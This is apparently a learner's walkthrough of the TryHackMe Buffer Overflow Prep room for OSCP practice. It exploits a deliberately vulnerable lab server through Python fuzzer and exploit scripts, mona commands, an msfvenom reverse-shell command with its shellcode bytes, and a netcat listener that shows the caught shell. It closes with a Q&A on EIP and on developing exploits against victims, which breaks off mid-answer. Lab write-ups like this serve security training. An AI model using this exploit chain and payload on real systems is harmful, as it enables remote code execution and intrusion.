# Buffer Overflow Prep - Beginner friendly note

### I know this topic is extremely important for people who is into OSCP preparation like I am. I take this seriously. Although I have zero programming language knowledge, I still manage to put together Buffer Overflow (BOF) to some certain extend.

## Tryhackme ALSO SAID:

{% code overflow="wrap" %}

```ouch
PLEASE NOTE THAT THIS ROOM DOES NOT TEACH BUFFER OVERFLOWS FROM SCRATCH. IT IS INTENDED TO HELP OSCP STUDENTS AND ALSO BRING TO THEIR ATTENTION SOME FEATURES OF MONA WHICH WILL SAVE TIME IN THE OSCP EXAM.
```

{% endcode %}

### For context: (To be honest, I struggle tremendously on what Tryhackme is trying to do in these task below, it take a good chunk of my time to realized that they are mimics vulnerable applications on the victims machine. These vulnerable applications then listen for output from the network.) We will take advantage of the fact that they are vulnerable to BOF and exploit them from there.

## **Note:** I will try to keep this note as newbie friendly as possible. Because I'm a newbie myself at the time of writing this note, I will try to also explain to myself what is going on.

***

To begin with, Tryhackme command - ==~~**xfreerdp /u:admin /p:password /cert:ignore /v:10.10.15.213 /workarea /tls-seclevel:0==**~~ - is no longer works for xfreerdp3.

Use this:

```shell
xfreerdp3 /u:admin /p:password /v:10.10.15.213 /cert:ignore /workarea /sec:rdp
```

## **Task 1: oscp.exe - OVERFLOW1**

### <mark style="color:yellow;">Step 1: Run Immunity Debugger as Admin</mark>

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FyuHTQ0RMPrILVp2V2Enc%2FPasted%20image%2020250604160131.png?alt=media&#x26;token=2a4b7730-1bc8-4563-a06f-ce43b85350bf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2F50TshcITBaYLsMwUAoQu%2FPasted%20image%2020250604160235.png?alt=media&#x26;token=e9ce6d44-6de0-41c7-b405-701f702f4551" alt=""><figcaption></figcaption></figure>

### <mark style="color:yellow;">Step 2: Open</mark> <mark style="color:yellow;"></mark><mark style="color:yellow;">`oscp.exe`</mark> <mark style="color:yellow;"></mark><mark style="color:yellow;">with</mark> <mark style="color:yellow;"></mark><mark style="color:yellow;">`Immunity Debugger`</mark>

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FlgWGFsyA9z4oKO5o0a7G%2FScreenshot%202025-06-04%20160353.png?alt=media&#x26;token=eca9861b-d744-4a29-b254-891b9747ffe2" alt=""><figcaption></figcaption></figure>

### <mark style="color:yellow;">**Step 3: The binary will open in a "paused" state, so click the red play icon or choose Debug -> Run. In a terminal window, the oscp.exe binary should be running, and tells us that it is listening on port 1337.**</mark>

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FDdr9YZfCcte0tBuoLsrU%2FPasted%20image%2020250604160554.png?alt=media&#x26;token=d46dafe1-7239-4d43-9010-fd16d14ea2e0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FYOTHWvDHCS10pywjjbll%2FPasted%20image%2020250604160614.png?alt=media&#x26;token=630da374-3521-46e5-821d-ec1a382287cd" alt=""><figcaption></figcaption></figure>

### <mark style="color:yellow;">Step 4: On your Kali box, connect to port 1337 on 10.10.15.213 using netcat:</mark>

`nc 10.10.15.213 1337`

Type "HELP" and press Enter. Note that there are 10 different OVERFLOW commands numbered 1 - 10. Type "OVERFLOW1 test" and press enter. The response should be "OVERFLOW1 COMPLETE". Terminate the connection.

```shell
┌──(kali㉿kali)-[~]
└─$ nc 10.10.15.213 1337


Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]
EXIT
```

### <mark style="color:yellow;">**Step 5: Mona Configuration**</mark>

The mona script has been preinstalled, however to make it easier to work with, you should configure a working folder using the following command, which you can run in the command input box at the bottom of the Immunity Debugger window:

```
!mona config -set workingfolder c:\mona\%p 
```

Why are we doing this? In a hypothesis environment, all that will be done by the victim, not the hacker right? You asked well, see the answer at the end of this write up! `[1]` `[2]` `[3]`

***

#### **IN THE NEXT FEW STEPS** OUR STEPS CAN BE SUM UP AS THESE:

* FIND THE EXACT AMOUNT OF BYTES\*\* which crashes the server using `fuzzer.py`
* **GENERATE A UNIQUE PATTERN** using `pattern_create.rb` to help identify the EIP overwrite location
* **USE THAT PATTERN AS PAYLOAD** in `exploit.py` and trigger the crash again
* **USE MONA TO FIND THE OFFSET** where EIP is overwritten with part of the pattern
* **RUN `exploit.py` AGAIN** with `'A' * offset + 'B' * 4` to confirm EIP is now `42424242` (i.e., we control it)
* **FIND BAD CHARACTERS** — bytes that get corrupted when sent to the app, like `\x00`, `\x0a`, etc.
* **FIND A SAFE `jmp esp` ADDRESS** that doesn't contain any badchars
* **GENERATE THE FINAL PAYLOAD** with:
  * NOP sled
  * Clean shellcode (no badchars)
  * Padding (optional)
* **SEND IT** and enjoy your reverse shell

## *Sigh*

That was exhausting.

## Anyway, confusingly enough, let's continue with the steps.

***

### <mark style="color:yellow;">**Step 6: Fuzzing**</mark>

Create a file on your Kali box called fuzzer.py with the following contents:

```python
#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.15.213" #CHANGE THIS WITH YOUR VICTIM MACHINE IP

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)  
```

Run the fuzzer.py script using python: `python3 fuzzer.py`

The fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message. Make a note of the largest number of bytes that were sent (mine was `2000`).

```shell
┌──(kali㉿kali)-[/home/Tryhackme/Buffer Over Flow Prep/oscp.exe-OVERFLOW1]
└─$ python3 fuzzer.py
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
...
...
Fuzzing crashed at 2000 bytes
```

### <mark style="color:yellow;">Step 7: Crash Replication & Controlling EIP</mark>

Create another file on your Kali box called exploit.py with the following contents:

```python
import socket

ip = "10.10.15.213"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
```

Run the following command to generate a cyclic pattern of a length 400 (Which means if mine were 2000 now I have to fill in 2400 = 2000 + 400) bytes longer that the string that crashed the server (change the `-l` value to this):

\`/usr/share/metasploit-framework/tools/exploit/pattern\_create.rb -l 2400

I prefer:

```shell
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400 > pattern.txt
```

If you are using the AttackBox, use the following path to `pattern_create.rb` instead (also ensure to change the `-l` value):

`/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 2400`

Copy the output and place it into the payload variable of the exploit.py script.

```python
import socket

ip = "10.10.15.213"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0
...
...
...
0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"

#CHANGED

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

```

**On Windows, in Immunity Debugger, re-open the oscp.exe again using the same method as before, and click the red play icon to get it running. You will have to do this prior to each time we run the exploit.py (which we will run multiple times with incremental modifications).**

On Kali, run the modified exploit.py script: `python3 exploit.py`

The script should crash the oscp.exe server again. This time, in Immunity Debugger, in the command input box at the bottom of the screen, run the following mona command, changing the distance to the same length as the pattern you created:

`!mona findmsp -distance 2YXX`

Mona should display a log window with the output of the command. If not, click the "Window" menu and then "Log data" to view it (choose "CPU" to switch back to the standard view).

In this output you should see a line which states:

`EIP contains normal pattern : ... (offset XXXX)` (Mine is 1978)

What is `EIP`? See the Q\&A section`[4]`

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2F7A9FLtRVKhBTbs2ins05%2FScreenshot%202025-06-04%20173219.png?alt=media&#x26;token=b0697532-3156-4f34-9057-769494e2ef30" alt=""><figcaption></figcaption></figure>

Update your exploit.py script and set the offset variable to this value (was previously set to 0). Set the payload variable to an empty string again. Set the retn variable to "BBBB".

Restart oscp.exe in Immunity and run the modified exploit.py script again. The EIP register should now be overwritten with the 4 B's (e.g. 42424242).

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FEYUqQbgrJimi4tZHBvCI%2FPasted%20image%2020250604175725.png?alt=media&#x26;token=cff278f6-2c38-43d5-980e-b62112ac4b38" alt=""><figcaption></figcaption></figure>

Cool

### <mark style="color:yellow;">**Step 8: Finding Bad Characters**</mark>

﻿Generate a bytearray using mona, and exclude the null byte (\x00) by default. Note the location of the bytearray.bin file that is generated (if the working folder was set per the Mona Configuration section of this guide, then the location should be C:\mona\oscp\bytearray.bin).

```cmd
!mona bytearray -b "\x00" 
```

## <mark style="color:yellow;background-color:red;">What is this for? - You asked?</mark>

#### **Answer:** The purpose of this step is to identify **bad characters** — bytes that break our payload — by comparing what we sent versus what actually landed in memory. We keep trimming both our payload and the Mona-generated bytearray until we know exactly which characters are safe.

## <mark style="color:yellow;background-color:red;">Why are we doing this so many times ? - You asked?</mark>

#### **Answer:** Every time a bad character is hit, **Mona stops analyzing** the rest of the payload — because it thinks the string is over. That’s why we often have to do this step **multiple times**, trimming as we go.

Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \x01 to \xff:

```python
for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()
```

Update your exploit.py script and set the payload variable to the string of bad chars the script generates.

Remember to keep the BBBB.

| Why keep `BBBB` in badchar tests?                                |
| ---------------------------------------------------------------- |
| It ensures EIP gets overwritten in a controlled, stable way      |
| ESP lands exactly where you want it — pointing to your bytearray |
| You get accurate comparison results in `!mona compare`           |
| Prevents weird crashes or stack shifts from corrupting the test  |

Restart oscp.exe in Immunity and run the modified exploit.py script again. Make a note of the address to which the ESP register points and use it in the following mona command:

`!mona compare -f C:\mona\oscp\bytearray.bin -a <address>`

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FzCP3dkRGhwFAUEHulPho%2FPasted%20image%2020250604190836.png?alt=media&#x26;token=17cdee29-6c57-4ee7-bd28-ac8eb7af52c6" alt=""><figcaption></figcaption></figure>

A popup window should appear labelled "mona Memory comparison results". If not, use the Window menu to switch to it. The window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file.

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FZAAkEazEfXEtJbXeT16Y%2FPasted%20image%2020250604190920.png?alt=media&#x26;token=97743676-1a75-41fc-8bb5-559f2fdf935d" alt=""><figcaption></figcaption></figure>

Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string.

### <mark style="color:yellow;background-color:red;">**PAY REALLY CLOSE ATTENTION FOR WHAT TRYHACKME SAID ABOVE!**</mark>

#### *Because our line of bytes payload may not all corrupted, we might as well slowly remove each bytes, not call them all corrupted, that's wrong! So if you found consecutive byte like 01 02 03 a1 a2 a3, may be start removing 01, a1 first.*

We have `00 07 08 2e 2f a0 a1` so we start with:

```cmd
!mona bytearray -b "\x00\x07\x2e\xa0" 
```

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2Fdv6uPF12G1jV8PusUqBR%2FPasted%20image%2020250604191830.png?alt=media&#x26;token=4205263b-7da3-4882-94bc-7e8e3733a25f" alt=""><figcaption></figcaption></figure>

Notice the changes of the ESP Address!

```cmd
!mona compare -f C:\mona\oscp\bytearray.bin -a 01A3FA30 
```

The first badchar in the list should be the null byte (\x00) since we already removed it from the file. Make a note of any others. Generate a new bytearray in mona, specifying these new badchars along with \x00. Then update the payload variable in your exploit.py script and remove the new badchars as well.

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2Fm7xt3Dqeox5izkF6CB0X%2FPasted%20image%2020250604191956.png?alt=media&#x26;token=486e3730-7d16-45e2-afb8-d13f180c01d0" alt=""><figcaption></figcaption></figure>

Restart oscp.exe in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns "Unmodified". This indicates that no more badchars exist.

### <mark style="color:yellow;">Step 9: Finding a Jump Point</mark>

With the oscp.exe either running or in a crashed state, run the following mona command, making sure to update the -cpb option with all the badchars you identified (including \x00):

`!mona jmp -r esp -cpb "\x00"`

Our command should be:

```cmd
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0" 
```

This command finds all "jmp esp" (or equivalent) instructions with addresses that don't contain any of the badchars specified. The results should display in the "Log data" window (use the Window menu to switch to it if needed).

Choose an address and update your exploit.py script, setting the "retn" variable to the address, written backwards (since the system is little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit.

### ✅ What We’re Looking For:

We want a JMP ESP address that:

1. Comes from a **module with ASLR, Rebase, and SafeSEH all set to `False`** ✅
2. **Doesn’t contain any bad characters**
3. Is located in a module that’s **loaded at runtime** (like `essfunc.dll`) ✅

*Why ESP? `[5]` What is a "jump point"? `[6]` Why not jump straight to the shellcode address? `[7]` See the Q\&A section below.*

Based on this?

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FHHfR2ouVCrGpFkUVjxwj%2FScreenshot%202025-06-04%20192436.png?alt=media&#x26;token=6980a517-ae36-4c65-82e0-fa3a2c94916f" alt=""><figcaption></figcaption></figure>

We should pick the first one.

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FElKw7BMMdOzRM32MflMb%2FPasted%20image%2020250604193008.png?alt=media&#x26;token=cda66260-0cac-4999-9c74-f51276b1270d" alt=""><figcaption></figcaption></figure>

Go ahead and use this `625011AF` and put it in Cyberchef:

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FTbgw2LoJ8ywMQ68j6hVi%2FPasted%20image%2020250604193224.png?alt=media&#x26;token=713b569b-034f-4305-8318-db83b3abd182" alt=""><figcaption></figcaption></figure>

And put it in rent with:

```python
\xaf\x11\x50\x62
```

What is rent? `[8]` See the Q\&A section below.

### <mark style="color:yellow;">Step 10: Generate Payload</mark>

Run the following msfvenom command on Kali, using your Kali VPN IP as the LHOST and updating the -b option with all the badchars you identified (including \x00):

```shell
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c   
```

Copy the generated C code strings and integrate them into your exploit.py script payload variable using the following notation:

```c
payload = ("\xdb\xc8\xb8\x25\x8b\xdc\xc9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x52\x83\xc6\x04\x31\x46\x13\x03\x63\x98\x3e\x3c\x97"
"\x76\x3c\xbf\x67\x87\x21\x49\x82\xb6\x61\x2d\xc7\xe9\x51"
"\x25\x85\x05\x19\x6b\x3d\x9d\x6f\xa4\x32\x16\xc5\x92\x7d"
"\xa7\x76\xe6\x1c\x2b\x85\x3b\xfe\x12\x46\x4e\xff\x53\xbb"
"\xa3\xad\x0c\xb7\x16\x41\x38\x8d\xaa\xea\x72\x03\xab\x0f"
"\xc2\x22\x9a\x9e\x58\x7d\x3c\x21\x8c\xf5\x75\x39\xd1\x30"
"\xcf\xb2\x21\xce\xce\x12\x78\x2f\x7c\x5b\xb4\xc2\x7c\x9c"
"\x73\x3d\x0b\xd4\x87\xc0\x0c\x23\xf5\x1e\x98\xb7\x5d\xd4"
"\x3a\x13\x5f\x39\xdc\xd0\x53\xf6\xaa\xbe\x77\x09\x7e\xb5"
"\x8c\x82\x81\x19\x05\xd0\xa5\xbd\x4d\x82\xc4\xe4\x2b\x65"
"\xf8\xf6\x93\xda\x5c\x7d\x39\x0e\xed\xdc\x56\xe3\xdc\xde"
"\xa6\x6b\x56\xad\x94\x34\xcc\x39\x95\xbd\xca\xbe\xda\x97"
"\xab\x50\x25\x18\xcc\x79\xe2\x4c\x9c\x11\xc3\xec\x77\xe1"
"\xec\x38\xd7\xb1\x42\x93\x98\x61\x23\x43\x71\x6b\xac\xbc"
"\x61\x94\x66\xd5\x08\x6f\xe1\xd0\xdd\x44\xba\x8c\xdf\x9a"
"\x2d\x11\x69\x7c\x27\xb9\x3f\xd7\xd0\x20\x1a\xa3\x41\xac"
"\xb0\xce\x42\x26\x37\x2f\x0c\xcf\x32\x23\xf9\x3f\x09\x19"
"\xac\x40\xa7\x35\x32\xd2\x2c\xc5\x3d\xcf\xfa\x92\x6a\x21"
"\xf3\x76\x87\x18\xad\x64\x5a\xfc\x96\x2c\x81\x3d\x18\xad"
"\x44\x79\x3e\xbd\x90\x82\x7a\xe9\x4c\xd5\xd4\x47\x2b\x8f"
"\x96\x31\xe5\x7c\x71\xd5\x70\x4f\x42\xa3\x7c\x9a\x34\x4b"
"\xcc\x73\x01\x74\xe1\x13\x85\x0d\x1f\x84\x6a\xc4\x9b\xa4"
"\x88\xcc\xd1\x4c\x15\x85\x5b\x11\xa6\x70\x9f\x2c\x25\x70"
"\x60\xcb\x35\xf1\x65\x97\xf1\xea\x17\x88\x97\x0c\x8b\xa9"
"\xbd")
```

### <mark style="color:yellow;">Step 11: Prepend NOPs</mark>

Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more "No Operation" (\x90) bytes:

```python
padding = "\x90" * 16
```

### <mark style="color:yellow;">Step 12: Exploit!</mark>

With the correct prefix, offset, return address, padding, and payload set, you can now exploit the buffer overflow to get a reverse shell.

Start a netcat listener on your Kali box using the LPORT you specified in the msfvenom command (4444 if you didn't change it).

Restart oscp.exe in Immunity and run the modified exploit.py script again. Your netcat listener should catch a reverse shell!

(To be continue if I found some thing cool from Task 2 -> Task 10...)

```shell
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [YOUR-IP] from (UNKNOWN) [10.10.15.213] 49327
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

C:\Users\admin\Desktop\vulnerable-apps\oscp>
```

## **Task 9: oscp.exe - OVERFLOW9**

### **In this task something interesting happens**

At if you will see the bad char was `00 04 05 3e 3f e1 e2`, normally you would be good to go when you remove `04 3e e1` as bad char the next line of bad char was shown is `00 04 3e 3f 40 e1`.

As we have removed `04 3e e1` we will need to look into `3f 40`.

Personally, it takes me 15 minutest to realized that `3e` corrupted `3f` earlier so `3f` couldn't corrupt `40`. So now we see `3f 40` in bad char, the real bad char will be `3f`.

<figure><img src="https://2237635920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsqRDWHkWdxahOJoG5Uc5%2Fuploads%2FEBUwcXmGg6aSa6HC1hya%2FPasted%20image%2020250605184212.png?alt=media&#x26;token=f4517a27-6064-4a6f-9a58-c028cf0bd0f2" alt=""><figcaption></figcaption></figure>

The answer will be `\x00\x04\x3e\x3f\xe1` for the question of which are the bad chars of Task 9.

***

## **Q\&A with a friend**

## `[1]` In Task 1, what does: `!mona config -set workingfolder c:\mona\%p` do?

### **Answer:**

#### 🔧 `!mona config -set workingfolder c:\mona\%p` — What does it do?

This tells **Mona**, the exploit dev helper plugin inside Immunity Debugger, to:

> **Create a working folder on your Windows machine at `C:\mona\PROCESS_NAME`**, and store all its output files there (patterns, logs, bytearrays, badchar comparisons, etc.)

***

#### 🧠 What is `%p`?

`%p` is a Mona variable that represents the **name of the current process** you're debugging.

So, if you’re debugging:

```
oscp.exe
```

Then Mona will automatically save all files into:

```
C:\mona\oscp\
```

***

#### 💾 Why is this important?

Because later you’ll run commands like:

```bash
!mona pattern_create
!mona findmsp
!mona bytearray -b "\x00"
!mona compare ...
```

And Mona will generate:

* `pattern.txt`
* `offset.txt`
* `bytearray.bin`
* `logs.txt`

If you don’t set a working folder? 💥 These files go nowhere or get dumped in temp folders. Total mess.

***

#### ✅ Summary:

| Command              | Meaning                                         |
| -------------------- | ----------------------------------------------- |
| `!mona`              | Run Mona script inside Immunity Debugger        |
| `config`             | Configure Mona’s settings                       |
| `-set workingfolder` | Define where output files go                    |
| `c:\mona\%p`         | Use folder `c:\mona\process_name` automatically |

## `[2]` In a hypothesis environment, all that will be done by the victim, not the hacker right?

### 🧠 In Real Life (Not the TryHackMe Lab), Who Does What?

#### 💻 In **TryHackMe / OSCP / CTF**:

* You’re both the **attacker** and the **debugger**.
* You run **Immunity Debugger + oscp.exe** on your own **Windows VM**, so you can:
  * See crashes
  * Analyze EIP
  * Use `mona` for offsets and badchar comparisons
  * Build a working exploit

👉 This is your **exploit development lab**.

***

#### 🌐 In **Real World / Hypothetical Attack**:

* The **victim** is running the vulnerable binary (e.g., a server or client app).
* **You**, the attacker, **don’t have access to their debugger**.

So:

* You **don’t run mona** on the target.
* You **don’t know the crash output** (unless you can monitor it indirectly).
* You develop the exploit **in your own lab**, using a copy of the vulnerable binary.

***

### 🔬 This Is Called "Developing an Exploit Locally"

You:

1. **Find the same vulnerable version** of the software.
2. **Run it in your Windows VM**.
3. Use:
   * `Immunity Debugger`
   * `mona`
   * Fuzzers
   * Payload testing
4. Once exploit is stable → you craft:
   * Payload + EIP overwrite
   * Remote exploit script

Then finally:\
5\. **Send it to the real target.**

***

#### 🧨 Think Like This:

* You build and test the weapon **in your lab**.
* You fire the weapon **at the victim**, who just happens to be running a system with the same vulnerability.
* The victim never sees `mona` or a debugger — **they just get pwned.**

***

### ✅ TL;DR:

| Action                                   | Who Does It | Where                                |
| ---------------------------------------- | ----------- | ------------------------------------ |
| Run `mona`, `!findmsp`, etc.             | Attacker    | **In local lab (Immunity Debugger)** |
| Run vulnerable service (e.g. `oscp.exe`) | Victim      | **In real target environment**       |
| Analyze crash, offset, badchars          | Attacker    | **In your own VM**                   |
| Launch final exploit                     | Attacker    | **Against victim over the network**  |

## `[3]:` So the attacker have to understand things thoroughly to be able to spot the similarity between a vuln app in the lab and vuln app in the wild right?

Absolutely right.

***

#### 🔎 Why Deep Understanding Matters:

Imagine this:

* In your lab, you exploit a vuln in `oscp.exe` → BOF via `OVERFLOW1`.
* In the wild, you scan a box and find:
  * A custom service on port 1337.
  * The banner looks weird.
  * It crashes when you send large input.
  * You reverse it and realize it parses data the same way as `oscp.exe`.

Boom — you realize:

> "This is functionally the same vuln. It just has a different name."

Because you've **seen the pattern before**, you can adapt your BOF exploit to this new app.

***

#### 🧠 It's Like Street Fighting vs. Dojo Sparring

* In the lab (dojo), everything’s padded and slow.
* In the wild (street), it’s fast and messy.
* But if you **trained hard**, you **know the moves**, and when the moment comes — you **recognize it instantly**.

That’s why people like you grind:

* TryHackMe BOF
* OSCP-style labs
* Debugging
* Understanding memory

You're training to **see the pattern under the chaos**.

***

#### 🛠️ What You’re Actually Learning When You Do BOF Labs:

| Lab Skill            | Real World Benefit                              |
| -------------------- | ----------------------------------------------- |
| Spotting a crash     | Recognize exploitable parsing logic             |
| Calculating offset   | Know where EIP control happens                  |
| Identifying badchars | Know what encoding/sanitization is in place     |
| Locating JMP ESP     | Know how to land your payload in hostile memory |
| Rebuilding shellcode | Know how to customize and weaponize it          |

***

#### 🧬 Final Truth

Yes — the attacker must understand:

* CPU architecture
* Stack behavior
* Assembly basics
* Windows memory protection (DEP/NX, ASLR, etc.)
* Payload crafting
* Binary formats (PE, ELF)

Because only then can you **see the same vulnerability wearing different clothes**.

## `[4]` What is EIP?

#### 🔹 **EIP = Extended Instruction Pointer**

It’s a special CPU register on **32-bit** systems that tells the CPU:

> “This is the memory address of the **next instruction** to execute.”

So if EIP is `0x625011AF`, the CPU will:

1. Go to that memory location,
2. Read the instructions stored there,
3. Execute them.

Because if **you can overwrite EIP**, you can tell the CPU:

> “Hey, don’t go where the programmer wanted you to go — go **HERE**, where I’ve planted my shellcode instead.”

#### 🔥 That’s how you hijack a program.

## `[5]` **Why ESP?**

Because in your buffer:

```python
buffer = overflow + retn + padding + payload
```

* `overflow` hits EIP
